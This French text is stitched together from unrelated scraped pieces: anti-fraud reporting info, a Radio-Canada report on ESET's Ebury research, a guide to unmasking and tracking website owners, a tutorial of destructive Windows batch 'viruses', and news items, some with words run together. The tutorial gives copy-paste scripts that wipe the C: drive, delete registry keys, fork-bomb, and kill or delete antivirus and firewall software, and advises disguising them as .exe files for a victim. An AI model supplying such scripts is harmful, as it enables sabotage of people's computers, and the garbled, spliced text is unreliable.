Il n'est pas toujours facile de reconnaître une arnaque, surtout que de nouvelles font leur apparition tous les jours.
Si vous croyez être la cible d'une fraude, ou si vous avez déjà
envoyé des fonds, n'ayez pas honte – vous n'êtes pas seul. Pour signaler
une fraude ou obtenir de plus amples renseignements, communiquez avec
le Centre antifraude du Canada.
Moyens de signaler la fraude
Des perturbations intermittentes de notre ligne téléphonique sans
frais peuvent entraîner la déconnexion de votre appel. Nous examinons
présentement la situation et nous excusons pour tout inconvénient.
Par téléphone
Sans frais
1-888-495-8501
Heures d'ouverture
lundi au vendredi
10 h à 16 h 45
Heure normale de l'Est
Internet – Système de signalement des fraudes du CAFC
Vous pouvez désormais signaler une fraude au Centre antifraude du Canada (CAFC) en utilisant le nouveau Système de signalement des fraudes (SSF). Cet outil convivial vous permet de vous connecter à l'aide :
de votre ID d'utilisateur CléGC et de votre mot de passe;
d'un partenaire de connexion (justificatifs bancaires).
Les justificatifs d'identité électronique uniques utilisés pour
ouvrir une session à l'aide d'une CléGC ou d'un partenaire de connexion
vous permettent de communiquer en toute sécurité dans les sites Web du
gouvernement du Canada.
Ce nouveau processus d'ouverture de session est rendu obligatoire par
le gouvernement fédéral, et il faut accéder à tous les services en
ligne du gouvernement du Canada grâce à un ID d'utilisateur CléGC ou à
un partenaire de connexion, de façon à mieux protéger les renseignements
personnels et à accroître la sécurité en ligne pour les utilisateurs.
En vous donnant le choix entre ces deux justificatifs, le gouvernement
du Canada rend ses services en ligne plus pratiques et plus faciles à
utiliser. Bien des gens se servent déjà régulièrement de leurs
justificatifs bancaires et le fait de pouvoir les utiliser pour accéder
aux services du gouvernement signifie que les utilisateurs auront un nom
et un mot de passe de moins à retenir.
Veuillez noter que le SSF mettra fin à votre session après un délai
d'inactivité de 20 minutes. Avant la fermeture de la session, un message
s'affichera pour vous demander de prolonger votre session. Au terme du
délai d'inactivité, votre session sera fermée. Vos données ne seront pas
perdues, mais vous ne pourrez pas ouvrir de nouveau une session pour
terminer de remplir le formulaire de plainte. Si vous avez besoin
d'ajouter des renseignements à votre plainte, communiquez avec le CAFC
pour obtenir de l'aide.
Qu'est-ce que la CléGC?
La CléGC
est un service électronique offert par le gouvernement du Canada qui
vous permet de faire affaire, en toute sécurité, avec plusieurs
programmes et services gouvernementaux, y compris de signaler des
fraudes au CAFC.
Qu'est-ce qu'un partenaire de connexion?
Un partenaire de connexion est une institution ayant conclu une
entente avec SecureKey Technologies afin de permettre à ses clients
d'utiliser leurs justificatifs, comme leur numéro de carte bancaire ou
leur nom d'utilisateur et leur mot de passe, pour accéder aux services
en ligne du gouvernement du Canada. Il y a actuellement cinq partenaires
de connexion : BMO Groupe financier, CHOICE REWARDS MasterCard,
Tangerine, la Banque Scotia et le Groupe Financier Banque TD.
Vos renseignements bancaires ne sont pas transmis au gouvernement
lorsque vous utilisez un partenaire de connexion. La technologie est
conçue de façon à ce que le gouvernement du Canada ne sache pas quel
partenaire de connexion (ou institution financière) vous avez utilisé.
De même, l'institution financière n'aura aucune idée du ministère ou de
l'organisme gouvernemental avec lequel son client a communiqué. Plus amples renseignements sur la CléGC ou le partenaire de connexion.
Extrait d'un article sur le partenaire de connexion :
Votre numéro de carte bancaire n'est pas une clé d'accès à votre
compte en banque, mais un moyen rapide de valider votre identité,
dit-il.
Nous vous demandons votre nom et adresse pour nous assurer que vous êtes
bien la personne que vous dites être, ajoute-t-il. Nous n'avons aucun
accès à vos renseignements.
Un groupe de spécialistes de l'informatique de
Montréal a aidé le FBI à faire condamner un citoyen russe à 46 mois de
prison l'an dernier. Son crime : une fraude évaluée à plusieurs millions
de dollars perpétrée à l'aide d'un logiciel malveillant.
Par Gino Harel et Catherine Varga d’Enquête
Vous
ne trouverez pas beaucoup de cheveux gris en entrant dans les bureaux
de la compagnie ESET, au centre-ville de Montréal. La firme de
cybersécurité, dont le siège social est en Europe, compte plus d’un
millier d’employés partout dans le monde. Ils sont une dizaine au bureau
de recherche de Montréal.
« La différence majeure entre un hacker
et quelqu’un qui est du côté de la défense, c’est ce que l’on fait avec
ces connaissances-là : pour attaquer ou pour protéger », lance Alexis
Dorais-Joncas, chef d’équipe aux renseignements de sécurité pour le
bureau montréalais d’ESET.
« Ceux qui protègent les gens contre
les cyberattaques possèdent le même coeur de connaissances que les
assaillants », poursuit-il.
Pour effectuer leurs travaux de
recherche, Alexis et son équipe comptent notamment sur des clients qui
acceptent de partager avec ESET des fichiers qu’ils soupçonnent d’être
malveillants.
Les fichiers sont apportés dans notre laboratoire, triés, classifiés par différents systèmes automatiques.
Alexis Dorais-Joncas, chef d’équipe à ESET Photo : Radio-Canada
Opération Windigo
En
2013, la petite équipe d'ESET à Montréal tombe sur un échantillon du
logiciel malveillant Ebury. Les chercheurs constatent que le logiciel
est utilisé dans diverses attaques contre des systèmes d’exploitation
Linux. Pour lutter contre Ebury, ESET lance la cyberopération Windigo.
Les
pirates se servent d’Ebury pour accéder à des serveurs et les infecter
par ce qu’on appelle une porte dérobée, donc à l’insu de chacun des
propriétaires de serveurs compromis.
« Quand on a commencé à
travailler sur Ebury, on a contacté plusieurs personnes dans nos cercles
proches. Ce qu’on a réalisé, c’est qu’on n’était pas les premiers à
avoir regardé cette menace-là [...] Donc, on s’est mis ensemble pour
essayer d’éradiquer cette menace », explique Marc-Étienne Léveillé,
chercheur en logiciels malveillants à ESET.
Marc-Étienne Léveillé
mentionne que son groupe a travaillé avec d’autres organismes
internationaux, dont l’agence gouvernementale allemande de cybersécurité
CERT-Bund, pour analyser la menace posée par Ebury.
Ils
constatent vite que le logiciel permet de se connecter à distance aux
serveurs infectés. Les malfaiteurs peuvent ainsi voler le nom des
utilisateurs, leurs mots de passe et autres clés d’accès, ce qui leur
permet d'infecter d'autres serveurs.
ESET est parvenue à remonter
jusqu'à l'une des victimes et lui a demandé d’avoir accès à son serveur
pour pouvoir y surveiller le trafic. Une semaine d’observation a suffi
pour mesurer l’ampleur du problème.
On a
réalisé qu’il y avait au-delà de 7000 serveurs qui étaient compromis,
partout à travers le monde. À partir de ce moment, on savait que c’était
à assez grande échelle.
En
tout, les chercheurs du groupe qui ont analysé Ebury ont pu dénombrer
plus de 25 000 serveurs infectés, la majorité aux États-Unis. On a aussi
pu identifier 626 serveurs au Canada.
Marc-Étienne Léveillé, chercheur en logiciels malveillants à ESET Photo : Radio-Canada
Les pirates surveillent les chercheurs
En
2014, Marc-Étienne, Alexis et leurs collègues ont publié un premier
document de recherche sur l’opération Windigo et les ravages du logiciel
Ebury. Le rapport dressait le bilan des activités malveillantes des
auteurs de l’attaque.
Les serveurs infectés avaient été utilisés
pour envoyer environ 35 millions de pourriels par jour, qui permettaient
de rediriger quotidiennement près d’un million de requêtes Internet
vers des sites publicitaires indésirables.
Un mois après la
publication de ce rapport, Marc-Étienne a eu une surprise alors qu’il
analysait un nouvel échantillon du logiciel Ebury. À la fin d’une chaîne
de caractères chiffrés, on pouvait lire « Good job, ESET! »
« C’était
en référence à notre rapport, sans aucun doute, croit-il. Ce sont les
auteurs d’Ebury qui nous envoyaient ce message. »
Ils
s’intéressent à ce qu’on fait. Ils lisent nos rapports, puis ils voient
jusqu’à quel point on comprend ce qu’ils sont en train de faire.
Message détecté en 2014 dans un échantillon du logiciel Ebury. Photo : Radio-Canada
Le FBI invité à la traque
Les
spécialistes de la cybersécurité sont parfois en contact avec les
autorités policières, lorsqu’il est question de crimes informatiques.
C’est ce qui s’est passé dans le cas d’Ebury : le FBI a été invité à
joindre ESET et ses partenaires.
En utilisant des pseudonymes, les
pirates ont convaincu certaines entreprises, dont les revenus dépendent
du nombre d’internautes qui visitent leurs pages web, de les payer pour
augmenter leur trafic.
Une des victimes du stratagème était un
site de rencontres pour adultes aux États-Unis. Ce site a ainsi payé des
commissions aux pirates pour le trafic Internet généré.
Toutefois,
ces entreprises ne savaient pas que la popularité soudaine de leurs
sites s’expliquait par des redirections de clics, grâce à des centaines
de serveurs informatiques contaminés ou à des pourriels contenant des
liens cliquables infectés.
La fraude aura permis aux malfaiteurs de se faire payer des millions de dollars pour tout ce trafic généré frauduleusement.
Exemple de pourriel détecté lors de l’opération Windigo. Photo : Radio-Canada
Le
FBI a finalement réussi à faire condamner l’un des auteurs du
stratagème. Le citoyen russe a été arrêté en 2015, alors qu’il était de
passage en Finlande. Il a été extradé aux États-Unis et a finalement
plaidé coupable l’an dernier.
Il purge présentement une peine de
46 mois de détention dans une prison du Minnesota. Il avait des
complices, selon le FBI. Visiblement, ceux-ci sont toujours au large… et
bien actifs. Le jeu du chat et de la souris se poursuit
Malgré
l’arrestation d’un des auteurs, ESET n’a pas fini de suivre la trace
des cyberassaillants derrière le logiciel malveillant Ebury. En novembre
dernier, Marc-Étienne et ses collègues ont tenté de les attirer vers un
serveur délibérément compromis afin de pouvoir observer leurs actions.
Dans le milieu, on appelle cela un honeypot, un « pot de miel » en français.
« Les
assaillants s’y sont fait prendre. Ils ont passé environ quatre heures à
tenter de comprendre sur quoi ils étaient tombés, raconte Marc-Étienne.
Puis ils ont compris. » Avant de se déconnecter, ils ont envoyé un
autre message qui se lisait comme suit : « hello ESET honeypot ».
« Ils ont découvert que c’était un piège », dit Marc-Étienne.
Message détecté en 2017 dans un échantillon du logiciel Ebury. Photo : Radio-Canada
Les auteurs d'Ebury sont toujours actifs aujourd’hui.
L’automne
dernier, ESET a produit un nouveau rapport pour faire le point sur les
activités de ce groupe de cyberpirates. Ces derniers font leur possible
pour brouiller les pistes derrière eux.
À la suite de la
publication des rapports d’ESET, les auteurs d'Ebury ont modifié
certaines de leurs techniques, ce qui rend leur surveillance plus
difficile.
Dans cette joute qui prend des allures de cyberguerre, le partage d’information est crucial, rappelle Alexis Dorais-Joncas.
Les
attaquants se parlent entre eux, il n’y a aucun doute. Ils se partagent
des trucs [...] pour mieux performer, mieux réussir leurs attaques.
« Si
on ne se parle pas, au niveau de la défense, et qu’on ne partage pas ce
qu’on a trouvé, on va perdre la guerre. On va perdre le terrain très
rapidement », résume-t-il.
Vous voulez trouver le propriétaire d’un site web pour mille et une raisons différentes :
L’auteur d’un site vous insulte, vous provoque ou diffame ;
Pour savoir qui se cache derrière un site de e-commerce qui vous semble louche ;
Par pure curiosité ;
Si c’est un concurrent commercial, il peut être utile de savoir à qui vous avez affaire ;
Pour remonter à l’auteur d’une vidéo ou d’un contenu quelconque ;
Pour enquêter et vous amuser
Il n’existe pas d’outils magiques pour
trouver le propriétaire d’un site web, seulement quelques trucs plus ou
moins connus qui permettent d’arriver à vos fins. Voyons les plus
efficaces !
1. L’outil magique pour débroussailler : SpyOnWeb
Avant de détailler des techniques de recherche manuelles, je voulais vous parler de SpyOnWeb.com
qui permet, la plupart du temps, d’obtenir énormément d’informations et
de trouver le propriétaire d’un site web. SpyOnWeb est un petit
algorithme qui demande des info sur un site web et qui recrache, à sa
sortie, plein de données qu’il a pu extraire tout seul. Le plus puissant est, à mon sens, son analyse de l’identifiant analytique.
Lorsqu’un webmaster veut connaître le comportement des visiteurs sur
son site, le nombre de visites qu’il a chaque jour, etc… il va installer
un système de tracking sur son site. Les webmasters se tournent
généralement vers Google Analytics (un service gratuit de Google qui
fait très bien cela).
Pour installer ce système de tracking sur leurs sites, les webmasters
doivent insérer un petit bout de code dans leurs pages. Et dans ce
petit bout de code se trouve un identifiant unique qui les identifie. Si
un webmaster possède 3 sites, il pourra avoir le même identifiant
analytique sur ses 3 sites. Je dis “pourra” car ce n’est pas toujours le
cas malheureusement.
Pour trouver ce petit identifiant, rendez-vous sur le site à stalker, faites un clic doit n’importe où puis cliquez sur “voir la source de la page” (vous pouvez aussi passer par le menu “fichier => voir la source” s’il n’y a rien en faisant un clic droit).
S’ouvrira alors une page pleine de code HTML.
Faites une recherche (le raccourci clavier CTRL+F) sur le mot-clef : “UA-“. Si un code Google Analytics est présent sur le site web, le curseur se placera sur un truc du genre :
Dans mon exemple, l’identifiant à récupérer est UA-48884625-1. L’identifiant parent est UA-48884625,
le “-1” à la fin veut dire que ce site est le premier d’un groupe de
site. Sur un autre site du même webmaster, vous pourrez trouver “UA-48884625-2″ par exemple.
Donnez l’identifiant parent à SpyOnWeb.com et
celui-ci essaiera de trouver tous les autres sites qu’il connaît qui
utilisent le même identifiant analytique. Parfois il trouve, parfois
non. Ne lui confiez pas tous vos espoirs mais quand ça marche, c’est de
la bombe ! SpyOnWeb est un annuaire comme un autre : s’il n’a jamais référencé le site que vous cherchez à analyser, il ne vous donnera aucune information. Voila sa grande faiblesse.
Si vous pensez que deux sites appartiennent peut-être à la même personne, vous pouvez faire le travail de SpyOnWeb vous même : ouvrez le code source des deux sites et cherchez les codes UA-…… de chacun d’eux et comparez-les manuellement.
2. Le Reverse IP Lookup : obtenir les autres sites d’un webmaster
Le reverse IP est un outil incroyablement puissant,
mais il demande de comprendre les bases de l’hébergement de sites web.
Ne vous inquiétez pas, c’est assez simple. N’hésitez pas à poser vos
questions en commentaire si besoin.
Lorsque vous créez votre propre site
Internet, vous avez grosso modo 2 manières de le mettre en ligne pour
qu’il soit accessible sur toute la planète :
Soit vous utilisez un “hébergement mutualisé”.
C’est l’équivalent d’une collocation entre sites web : l’entreprise qui
va mettre votre site en ligne sur Internet mettra votre site en
“collocation” avec d’autres sites sur le même serveur web. C’est une
manière de faire qui ne coûte pas grand chose. Problème : si l’un de vos
colocataires fait des bêtises de son côté du serveur, votre site peut
être piraté ou très ralenti.
Soit vous utilisez un “hébergement dédié”. Cela
équivaut à avoir votre propre maison : votre site web est hébergé sur
un serveur qui vous appartient entièrement, sans devoir vous taper des
colocataires parfois pénibles. Cette solution est plus chère et plus
complexe pour le webmaster.
Quelque soit votre manière de faire,
votre site web sera toujours hébergé sur un serveur web, c’est comme ça
que ça marche. Comme je l’ai expliqué juste avant, ce serveur web
sera soit entièrement dédié à vos sites à vous, soit il sera partagé avec d’autres webmasters comme une colloc.
Un serveur web est un ordinateur comme un autre, il possède donc une adresse IP
qui l’identifie sur Internet. Grâce à cette adresse IP et au protocole
DNS (je ne rentre pas dans les détails, vous pouvez faire abstraction),
il est possible d’obtenir la liste de tous les sites qu’héberge un
serveur web donné.
Prenons un exemple concret.
Vous cherchez à espionner un site en particulier, pour trouver le
propriétaire d’un site web. Disons que ce site est hébergé sur un
serveur dédié, c’est à dire un serveur qui appartient entièrement au
propriétaire du site en question. Peut-être que ce webmaster possède d’autres sites que celui que vous cherchez à espionner,
et peut-être que ces autres sites sont installés sur le même serveur
web que votre site cible ! Sans utiliser un outil de reverse IP, vous
n’avez aucun moyen de savoir si d’autres sites partagent le serveur de
ce webmaster. Voyons comment cela fonctionne avec le serveur web de mon
éditeur.
L’outil a trouvé 3 autres sites hébergés sur le même serveur que jesaisquivousetes.com :
apprendre-a-manipuler.com, bonjourinternet.org et institut-pandore.com.
Cela donne énormément d’informations sur les activités qui entourent un
site web.
Ce service de domaintools.com demande
de payer pour obtenir la fin de la liste. La plupart des outils de
reverse IP demandent de payer pour obtenir une liste complète.
Toute à l’heure, je vous expliquais la différence entre un
hébergement dédié et un hébergement mutualisé : si votre site cible est
hébergé dans une énorme “collocation” de sites web, alors la liste du
reverse IP sera très longue et incohérente. Tous les sites
n’appartiendront pas à la même personne, puisqu’il s’agit d’une
collocation.
Au contraire, si le site web est hébergé sur un serveur dédié (c’est le cas pour jesaisquivousetes.com), tous les sites de la liste appartiennent à la même personne, de près ou de loin. A vous de faire le tri.
3. Le Tracking Link Creator : géolocaliser et pister le propriétaire
Toujours fidèle au poste, le TLC vous permettra de récupérer beaucoup d’informations sur le webmaster d’un site à condition de pouvoir lui envoyer votre lien piégé par e-mail.
Il est par exemple possible d’utiliser la fonction whois 1and1 pour
obtenir des informations sur le propriétaire d’un site web et d’un
domaine. L’ICANN, l’organisme qui chapeaute la gestion des noms de
domaine sur Internet, souhaite que les propriétaires de sites e-commerce
soient obligés d’indiquer leurs coordonnées lorsqu’ils enregistrent
leur nom de domaine. Pratique pour savoir à qui appartient tel ou tel
site, même si ça ne marche pas à tous les coups.
Découvrez les 3 autres méthodes pour trouver le propriétaire d’un site web
Les virus sont des logiciels malveillants qui peuvent causer beaucoup de dommages à P.C., ordinateur et ordinateur portable. Habituellement, ils se répandent grâce au partage de fichiers spécialement sur Internet. Le partage de fichiers Torrents et les pièces jointes aux courriers
électroniques sont des moyens courants de propagation d'un virus. Avant d'entrer dans les détails, permettez-moi d'expliquer quel est un fichier batch? Il
s'agit simplement d'un fichier texte contenant des séries de commandes
exécutées automatiquement, ligne par ligne, lorsque le fichier batch
s'exécute. J'ai utilisé plusieurs virgules pour diviser la phrase en plusieurs parties pour faciliter la compréhension. Ainsi, en utilisant Batch File, vous pouvez créer des virus
extrêmement dangereux pour supprimer les fichiers Windows, formater
différents lecteurs (C:, D:, E :), voler des informations, désactiver
les pare-feu. Maintenant, voici quelques virus de fichiers par lots, mais extrêmement dangereux. Vous devez simplement appuyer sur Ctrl + C (Copier) et Ctrl + V (Coller) dans le Bloc-notes. Ensuite, enregistrez le fichier du bloc-notes comme "anyname.bat". Assurez-vous d'utiliser '.bat' comme extension, sinon cela ne fonctionnera pas.
1. Application Bomber:-
@echo off
start winword
start mspaint
start notepad
start write
start cmd
start explorer
start control
start calc
goto x
Fonction:
une fois exécuté, il va commencer à ouvrir plusieurs applications à
plusieurs reprises, ce qui affectera les performances du système. Vous pouvez également ajouter une application de votre choix dans le code ci-dessus.
2. Folder Flooder-
@echo off
md %random%
/folder.
goto x
Fonction: une fois exécuté, il va commencer à générer des dossiers dont le nom peut être n'importe quel nombre aléatoire.
3. User Account Flooder:-
@echo off
:xnet
user %random% /add
goto x
Fonction: une fois exécuté, il va commencer à créer des comptes utilisateur Windows dont le nom peut être un nombre aléatoire.
4. Process Creator:-
%0|%0
Fonction: - Une fois exécuté, il commencera à générer un grand nombre
de processus très rapidement entraînant une suspension de P.C.
hkey_current_usersoftwaremicrosoftwindowscurrentve
rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You
Have Been HACKED!
PAUSE
Fonction: une fois exécuté, il désactive la connexion Internet d'un ordinateur en permanence.
6. O.S. Hacker:-
@Echo off
Del C: *.* |y
Fonction: - Une fois qu'il sera exécuté, il formatera le lecteur de disque C et entraînera donc la suppression de l'O.S. Vous pouvez également remplacer C par n'importe quel lecteur de votre choix.
7. Registry Deleter:-
@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been hacked by cool hacker. Have a nice day. Enjoy!!!
GOTO MESSAGE
Fonction: - Une fois exécuté, il supprime les fichiers de registre et laisse un message. Cela peut très affecter l'ordinateur de la victime.
8. Crazy Caps Lock:-
Set wshShell
=wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
Fonction: - Une fois qu'il est exécuté, il sera activé et désactivé par Caps Lock en cas d'ennui de l'utilisateur.
9. Anti Virus Disabler:-
@ echo off
rem
rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmincls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:Program Filesalwils~1avast4*.*
del /Q /F C:Program FilesLavasoftAd-awa~1*.exe
del /Q /F C:Program Fileskasper~1*.exe
cls
del /Q /F C:Program Filestrojan~1*.exe
del /Q /F C:Program Filesf-prot95*.dll
del /Q /F C:Program Filestbav*.datcls
del /Q /F C:Program Filesavpersonal*.vdf
del /Q /F C:Program FilesNorton~1*.cnt
del /Q /F C:Program FilesMcafee*.*
cls
del /Q /F C:Program FilesNorton~1Norton~1Norton~3*.*
del /Q /F C:Program FilesNorton~1Norton~1speedd~1*.*
del /Q /F C:Program FilesNorton~1Norton~1*.*
del /Q /F C:Program FilesNorton~1*.*
cls
del /Q /F C:Program Filesavgamsr*.exe
del /Q /F C:Program Filesavgamsvr*.exe
del /Q /F C:Program Filesavgemc*.exe
cls
del /Q /F C:Program Filesavgcc*.exe
del /Q /F C:Program Filesavgupsvc*.exe
del /Q /F C:Program Filesgrisoft
del /Q /F C:Program Filesnood32krn*.exe
del /Q /F C:Program Filesnood32*.exe
cls
del /Q /F C:Program Filesnod32
del /Q /F C:Program Filesnood32
del /Q /F C:Program Fileskav*.exe
del /Q /F C:Program Fileskavmm*.exe
del /Q /F C:Program Fileskaspersky*.*
cls
del /Q /F C:Program Filesewidoctrl*.exe
del /Q /F C:Program Filesguard*.exe
del /Q /F C:Program Filesewido*.exe
cls
del /Q /F C:Program Filespavprsrv*.exe
del /Q /F C:Program Filespavprot*.exe
del /Q /F C:Program Filesavengine*.exe
cls
del /Q /F C:Program Filesapvxdwin*.exe
del /Q /F C:Program Fileswebproxy*.exe
del /Q /F C:Program Filespanda
software*.*
rem
Fonction: - Une fois exécuté, il désactivera Anti Virus du système de la victime.
L'inconvénient d'un fichier batch est que n'importe qui peut l'ouvrir avec un bloc-notes et lire la commande facilement. En outre, tout le monde peut le supprimer s'il le juge nuisible. Ainsi, pour surmonter la limitation / inconvénient, vous pouvez utiliser un outil cool nommé 'Batch to Exe Converter'. Il convertira l'extension '.bat' en extension '.exe'. Et votre fichier Batch sera converti en un fichier d'application. Vous pouvez facilement convaincre votre victime d'ouvrir le fichier. Un message personnel à vous C'est agréable de voir que vous avez passé par «Post Facebook Status in Future» complètement. J'espère que vous avez apprécié cet article. Cependant,
si vous voulez que je livre des tutoriels et des articles de piratage
plus intéressants, merci de partager mes postures. Vous pouvez utiliser le Widget de partage social fourni à la fin de chaque publication. Après tout, le partage est pris en charge !!! Je vous remercie. Avoir une belle journée à l'avance!!!
Le nouveau projet de loi antiterroriste déposé mardi par le
gouvernement Trudeau permettra notamment au Centre de la sécurité des
télécommunications (CST) de lancer des cyberattaques contre des cibles
étrangères, incluant des groupes terroristes et des pirates
informatiques, et même de déployer des mesures défensives contre des
cyberattaques menées par des États ou des gouvernements. Les libéraux
justifient cette mesure en affirmant que le Canada doit se protéger
contre ces nouvelles menaces qui visent les démocraties.
Toute opération offensive devra être d'abord approuvée par le ministre
de la Défense et le nouveau commissaire au renseignement. De plus, le
CST ne pourra en aucun cas viser des Canadiens ou des personnes vivant
au Canada, sauf si un ministère lui demande de recueillir ou d'analyser
des renseignements en vertu d'un mandat du tribunal, prévient-on.
Le mandat de cette agence ultrasecrète, créée il y a 70 ans, comprenait
déjà la protection des systèmes informatiques jugés critiques par
Ottawa, et ne permettait que la cueillette de renseignement de
l'étranger. Ces responsabilités «défensives» demeurent dans le projet de
loi C-59, a rappelé le ministre de la Défense nationale, Harjit Sajjan,
qui est responsable du CST.
Ce service d'espionnage électronique sera aussi mis à contribution pour
aider les militaires à apprendre comment se battre sur le terrain
informatique, un mandat ajouté récemment par les libéraux dans la
nouvelle Politique de défense du Canada.
Avec ces deux mesures, le Canada fait son entrée dans un monde
extrêmement complexe qui est déjà occupé depuis un certain temps par ses
alliés. Il y a quelques jours, le CST prévenait que le Canada pourrait
être victime de cyberattaques lors de la campagne électorale de 2019,
comme on l'a vu ailleurs dans le monde récemment.
Les libéraux souhaitent également maintenir les pouvoirs qui avaient été
octroyés par les conservateurs au Service canadien du renseignement de
sécurité pour «perturber les menaces étrangères», en vertu du projet de
loi C-51. De nouveaux contrepouvoirs
Le ministre de la Sécurité publique, Ralph Goodale, qui a déposé le
projet de loi mardi, a prévenu que son gouvernement liait ses nouveaux
pouvoirs à des contrepouvoirs additionnels. Le gouvernement propose
ainsi de créer un poste de commissaire au renseignement et un nouvel
organisme de surveillance qui supervisera toutes les agences recueillant
des renseignements au pays, l'«office de surveillance des activités en
matière de sécurité nationale et de renseignement».
Le CST sera par ailleurs autorisé à conserver les informations obtenues
«de façon fortuite» - des renseignements qui n'étaient pas directement
recherchés, mais qui sont ressortis dans le cadre d'une enquête
légitime. Cet élément pourrait inquiéter les défenseurs des libertés
civiles, à la lumière des révélations d'Edward Snowden aux États-Unis,
notamment, sur le recours à l'espionnage électronique dans le monde.
La question est de savoir jusqu'à quel point les Canadiens seront
prévenus de l'ampleur des mesures de cybersurveillance mises en place
par le CST et l'armée, notamment les attaques contre des organisations
extrémistes et d'autres États. Or, le ministre Sajjan a admis mardi que
pour des motifs de sécurité nationale, ce type d'informations ne sera
pas divulgué largement au grand public.
Le porte-parole néo-démocrate en matière de sécurité, Matthew Dubé,
craint que les mesures de protection prévues dans le projet de loi ne
soient pas suffisantes pour s'assurer que les nouveaux pouvoirs du CST
s'exerceront de façon appropriée, notamment en empêchant le vol de
cyberarmes.
Prenantla première place dansune étudeparrainé par HPPonemondes programmes decybersécuritéen 2014,l'Université du Texas,SanAntonioa plus de 14coursoù les étudiants peuventétudierINFOSECet la cybersécurité.
Université de Norwich
Norwich Universityestune école militairedans le Vermont. La NSAa répertoriél'école commeun centre d'excellenceacadémique dans l'enseignementdel'assurancede l'information.Ilest également venuà la deuxième placedans la listed'étudePonemon.
Université de Bristol
L'Université deBristolau Royaume-Uniaccueille leCentrede sécuritéLeBristol, un centre universitaireaxé sur la rechercheen matière de cybersécurité.
MIT Alors qu'ilne figurait pas surla liste2014Pokemon, MITadepuis lancétrois nouvelles initiativesen matière de cybersécuritépour les étudiants.
Mississippi State University
Mississippi State Universityexploite leCentre de recherchede sécurité informatique(CCSR) oùvulnérabilités informatiquessont étudiés dansl'espoir d'améliorerla cybersécurité.
Université de Lancaster, en partenariat avecson initiative derecherche sur la sécuritéLancaster, a développé unprogramme de formation desprofessionnels de lacybersécuritédans les grands enjeuxduterrain.
Université de Syracuse
Syracuse Universityoffre un programmede 15 créditspour le certificat d'études avancées dans la gestiondela sécuritéde l'information,un grandprogramme decompétencesen matière de cybersécurité.
UniversitéQueen de Belfast
Situéen Irlande du Nord, l'UniversitéQueen de Belfastestl'une des nombreusesuniversitésau Royaume-Unireconnues parle Royaume-Uni de l'agence de renseignementGCHQ.
Purdue University
Bienconnupour ses cours en ingénierie, l'UniversitéPurdueoffre aussi plusieurscatégories clés d'informatiquenécessairespour les professionnels dela cybersécurité.Il offre égalementquelquesdiplômes d'études supérieuresdansINFOSEC.
L'USCYBERCOM « planifie, coordonne, intègre, synchronise et conduit
des activités pour : diriger les opérations et la défense de certains
réseaux d'information du Département de la Défense, et prépare et, au
besoin, conduit, tout le spectre d'opérations militaires du cyberespace
dans le but de permettre des actions dans tous les domaines, assurer la
liberté d'action des États-Unis et de leurs alliés dans le cyberespace,
et le dénier à nos adversaires ». L'emblème de l'USCYBERCOM contient la
mention « 9ec4c12949a4f31474f299058ce2b22a » qui est le hachage MD5 de leur mission[2].
On prévoit qu'il dispose de trois types de forces placées sous le commandement cybernétique:
En janvier 2013, il compte 900 personnes. À cette date, on spécule
sur une augmentation des effectifs dans les prochaines années à 4 900
militaires et civils[3].
Composantes
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Deep Web Search Engine Memex lutte contre la criminalitédanspeu commeMinority Report
Il y aexactement un an, la DARPAavait annoncé unemission inspiré de scienfiction :pour créer unmoteur de recherche quipourraittrouver des chosessur leweb profondQue lesrobotsde Googlemanqueraient.Lesoi-disant projetMemexestmaintenant bien engagée,etpour la première foisnous obtenonsun regard surle moteur de recherche de lutte contre la criminalitédans l'action.
PardonnezleclichéréférencePhilip K. Dick, maisressemble un peuMemexa quelque chose que vousverriezdans Minority Report.L'agencede recherchedu Pentagone a proposéa Scientific American60 Minutes,un look exclusif de la technologie,etles caractéristiquessonabsolumenthallucinante.
Sur le plande surface,Memexfonctionne comme unmoteur de recherche quiétend sestentacules dansle webprofond etDarknet.Depuisles goûts deGoogle etBing ,indiceseulement environ10 pour centdu web,cette fonctionnalité de baseest essentielle poursuivre les mouvementscriminels, en particulier ceuxdestrafiquants d'êtres humainsqui maintiennentle plus bas profils.
Alors, prenezce scénario:Si unenquêteur criminela unlien versune annoncepostée par untrafiquant d'êtres humains,l'enquêteurauraitdu mal à trouverd'autres indicesdepuis les trafiquants d'êtres humainstirezdesannoncesavantque Google aune chance deles indexer.Memexcontournecela.
Latechnologie de prochaine générationaux questionsbeaucoup plus largeéchantillon del'Internet,y comprisprofondewebet des liensdarknet,de trouverdes liens entrele terme de rechercheet ses résultats, sans parlerdes liens entreles résultats.
Après larecherche initiale,Memexproduira alorsun soi-disant"date deréveil"qui montretoutes lesautrespagesqui sont liées àdesliens que vousavez cliquésur, maisne pourriez pasvoir autrement.Ilressemble à ceci:
Deep Web Search Engine Memexlutte contre la criminalitéunpeu commeMinority Report
